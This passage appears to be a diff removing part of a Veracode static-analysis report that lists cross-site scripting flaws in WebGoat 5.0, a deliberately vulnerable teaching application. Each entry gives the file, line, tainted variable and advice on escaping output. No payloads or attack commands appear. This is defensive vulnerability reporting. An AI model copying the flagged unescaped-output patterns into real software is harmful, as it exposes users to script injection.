-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable stub.getLastName().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable stub.getLastName().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable stub.getLastName().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getTitle().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getTitle().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getTitle().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable message.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
-        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"HttpSplitting.java\" line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.HttpSplitting\" functionprototype=\"apache.ecs.Element
-        doHTTPSplitting(session.WebSession)\" functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
